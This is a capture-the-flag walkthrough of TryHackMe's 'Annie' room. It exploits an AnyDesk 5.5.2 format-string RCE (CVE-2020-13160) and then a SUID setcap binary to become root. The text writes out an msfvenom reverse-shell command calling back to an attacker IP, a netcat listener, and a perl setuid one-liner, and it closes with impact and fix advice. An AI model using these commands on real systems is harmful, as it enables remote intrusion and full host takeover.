mintshell
VI

Annie

An AnyDesk 5.5.2 client exposes a format-string RCE over its UDP discovery port (CVE-2020-13160); after a reverse shell as annie, a SUID setcap binary is used to grant cap_setuid to perl for an instant root.

Platform
TryHackMe
Room
Annie(external link)
Difficulty
Medium
Vulnerabilities
insecure privileged service
3 min read

A walkthrough of the “Annie” room from TryHackMe. The box runs an AnyDesk 5.5.2 client, which has a format-string remote code execution in its UDP discovery service (CVE-2020-13160). An unauthenticated packet lands a reverse shell as annie**, and a SUID setcap binary is then abused to grant cap_setuid to perl — an instant root.

Annie is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Both flags are shown as THM{<redacted>} — real on the box, withheld here.


TL;DR

TL;DR

Port 7070 shows an AnyDesk Client TLS cert → AnyDesk uses UDP 50001–50003 for discovery; nmap -sU confirms 50001/udp open → AnyDesk 5.5.2 has a format-string RCE (CVE-2020-13160) in its discovery packet handling → run the public PoC with msfvenom shellcode to get a reverse shell as annie (user flag) → a SUID /sbin/setcap lets any user grant file capabilities, so setcap cap_setuid+ep /usr/bin/perl then perl ... POSIX::setuid(0); exec '/bin/sh' yields root.

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>

nmap shows SSH and, tellingly, an AnyDesk Client TLS certificate on 7070:

22/tcp   open  ssh            OpenSSH 7.6p1 Ubuntu
7070/tcp open  ssl/realserver # ssl-cert commonName=AnyDesk Client

AnyDesk’s discovery runs over UDP in the 50001–50003 range; a UDP scan confirms 50001/udp is open.

The vulnerability

The whole box is a single, unauthenticated client-side CVE: AnyDesk 5.5.2 is vulnerable to a format-string bug in the way it parses discovery packets, giving remote code execution. The privesc is a dangerous SUID binary.

Insight

The discovery packet handler passes attacker-controlled fields into a format string, so crafted %n/%x specifiers (plus shellcode) corrupt memory and redirect execution — CVE-2020-13160. It needs no authentication; a single UDP packet to 50001 is enough. On the host, the real gift is a SUID setcap: whoever can run setcap can grant cap_setuid to any binary, turning an interpreter into a root shell.

Step 1 — AnyDesk format-string RCE → shell as annie (user flag)

Generate shellcode (bad chars \x00\x25\x26) and fire the public PoC at UDP 50001:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode
# paste shellcode into the AnyDesk 5.5.2 PoC (scryh), set ip/port
nc -lvnp 4444
python2 exploit.py   # -> reverse shell
annie@desktop:~$ cat user.txt   # THM{<redacted>}

Step 2 — SUID setcap → cap_setuid on perl → root

A SUID sweep shows /sbin/setcap is SUID. Use it to grant cap_setuid to perl, then spawn a root shell:

annie@desktop:/$ find / -type f -perm -04000 2>/dev/null | grep setcap
# /sbin/setcap
/sbin/setcap cap_setuid+ep /usr/bin/perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# id -> uid=0(root)
# cat /root/root.txt -> THM{<redacted>}

Impact

Critical

Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated attacker achieves remote code execution against the AnyDesk 5.5.2 client (CVE-2020-13160) with a single UDP packet. A SUID setcap binary then allows any local user to grant cap_setuid to an interpreter and become root — full host compromise with no credentials required.

Fix

  • Patch AnyDesk past 5.5.2 and don’t expose its discovery ports (50001–50003/udp) to untrusted networks.
  • Never leave setcap SUID (or otherwise runnable by unprivileged users) — it can grant cap_setuid/cap_setgid to any binary. Audit SUID binaries and capabilities regularly.
  • Avoid cap_setuid on interpreters. perl/python with cap_setuid is a one-liner to root.

Takeaways

  • A TLS cert names the service. The “AnyDesk Client” cert pointed straight at the CVE and its UDP discovery port.
  • Client software is attack surface. AnyDesk 5.5.2’s discovery parser is an unauthenticated RCE.
  • SUID setcap is root. If an unprivileged user can run setcap, they can hand cap_setuid to any program.

Annie is a compact single-CVE box with a neat capability-based privesc. Thanks for reading.